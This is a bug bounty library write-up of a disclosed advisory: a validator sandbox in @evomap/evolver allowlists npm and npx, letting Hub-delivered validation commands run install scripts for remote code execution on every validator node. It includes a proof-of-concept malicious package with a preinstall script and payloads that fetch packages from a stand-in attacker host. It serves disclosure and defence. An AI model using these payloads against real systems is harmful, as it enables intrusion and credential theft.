# @evomap/evolver's validator sandbox allowlist permits `npm`/`npx`, yielding RCE from Hub-delivered validation tasks via lifecycle scripts

Evolver validator sandbox allowlists npm/npx, so Hub-delivered validation_commands run lifecycle scripts, giving RCE on every polling validator node.

- Payout: Research
- Severity: high
- Program: EvoMap Evolver
- Found by: offset
- Disclosed: 2026-05-05
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-jxh8-jh77-xh6g
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-jxh8-jh77-xh6g
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** Validator-mode sandbox executor consuming Hub validation_commands
**Root cause:** ALLOWED_EXECUTABLES includes npm and npx, which execute arbitrary code by design via lifecycle scripts and remote bin entries; assertNodeCommandSafe is a no-op for non-node executables and Hub responses are unsigned.
**Steps:**
1. Hub returns validation_tasks with `validation_commands: ["npm install /tmp/evil-pkg-validator --no-audit --no-fund"]`
2. validateOneTask passes commands to runInSandbox without policyCheck.isValidationCommandAllowed()
3. parseCommand accepts it (no shell metacharacters); ALLOWED_EXECUTABLES.has('npm') passes
4. assertNodeCommandSafe returns early since executable !== 'node'
5. spawn('npm', ...) runs preinstall script writing /tmp/pwned-by-validator-test outside sandboxDir
6. Remote variant: `npm install https://attacker.example/evil.tgz` or `npx -y -p evil-pkg@1.0.0 evil-cmd`
**How found:** Code review of the sandbox threat model comment claiming defense against Hub compromise, noticing npm/npx on the allowlist and that assertNodeCommandSafe only gates node.
**Exploitation:** Attacker compromises or MITMs the Hub and returns a validation task whose validation_commands invoke npm install of a malicious tarball or npx of a remote package; within one 60s daemon poll every validator node executes the lifecycle/bin script as the validator UID, enabling credential theft (HUB_NODE_SECRET), persistence and lateral movement.
**Escalation:** Wormable: single Hub compromise auto-RCEs all validator nodes since validator mode is on by default since v1.69.0.
**Insight:** When a sandbox allowlist claims to defend against a compromised control plane, audit each allowed binary for by-design code execution (npm/npx lifecycle scripts, git hooks, tar --to-command); also check whether the response path skips the policy gate the request path enforces.

## Proof of concept (copied exactly from the original report)

**Malicious npm package with preinstall RCE script**

```
mkdir -p /tmp/evil-pkg-validator
cat > /tmp/evil-pkg-validator/package.json <<'EOF'
{
  "name":"evil-pkg-validator","version":"1.0.0",
  "scripts":{
    "preinstall":"node -e \"require('fs').writeFileSync('/tmp/pwned-by-validator-test','RCE uid='+process.getuid()+' time='+Date.now())\""
  }
}
EOF
```

**runInSandbox invocation proving npm install RCE**

```
rm -f /tmp/pwned-by-validator-test
node -e "
const s = require('./src/gep/validator/sandboxExecutor');
s.runInSandbox(
  ['npm install /tmp/evil-pkg-validator --no-audit --no-fund'],
  { cmdTimeoutMs: 60000 }
).then(o => {
  console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode);
  console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8'));
});"
```

**Remote Hub-delivered validation_commands payloads**

```
{ "validation_commands": ["npm install https://attacker.example/evil.tgz --no-audit --no-fund"] }

or

{ "validation_commands": ["npx -y -p evil-pkg@1.0.0 evil-cmd"] }
```

